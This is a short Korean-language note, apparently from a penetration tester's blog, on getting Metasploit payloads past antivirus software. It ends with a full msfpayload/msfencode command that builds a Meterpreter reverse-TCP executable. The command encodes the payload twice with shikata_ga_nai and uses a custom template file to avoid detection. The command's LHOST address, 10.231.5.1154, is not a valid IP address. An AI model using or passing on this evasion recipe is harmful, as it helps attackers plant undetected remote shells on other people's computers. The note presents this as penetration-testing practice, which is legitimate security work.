msfpayload 백신 탐지 우회

msfpayload 백신우회

 모의해킹을 하다보면 간혹 백신을 우회해야 하는 경우가 있어서 정리해 둔다. 

• msfpayload 

- 쉘코드를 쉽게 생성해주는 도구로, metasploit framework 에 포함되어 있(었)다. 

• msfencode 

- 쉘코드를 인코딩 해주는 도구로, metasploit framework 에 포함되어 있(었)다. 

 최근에 msfpayload 와 msfencode 가 합쳐진 msfvenom 으로 업데이트 되었다.

 (기존에는 세가지 도구가 함께 배포되었는데 현재 버전에서는 msfvenom 만 남았다)

• msfpayload 백신우회

 shikata_ga_nai 인코더를 여러번 거쳐도 몇몇 백신은 잘 탐지하는데, 몇번의 테스트 결과 metasploit 에서 exe 파일을 생성할 때

 사용하는 템플릿 파일 자체를 탐지하는 것으로 추측된다. 결국 -x 옵션으로 템플릿만 바꿔주면 바로 우회가 가능했다.

# msfpayload windows/meterpreter/reverse_tcp  EXITFUNC=process LPORT=4444 LHOST=10.231.5.1154 R   |     msfencode -a x86 -e x86/shikata_ga_nai -c 2 -x ~/Desktop/tem2.exe -t exe -o ~/Desktop/payload2.exe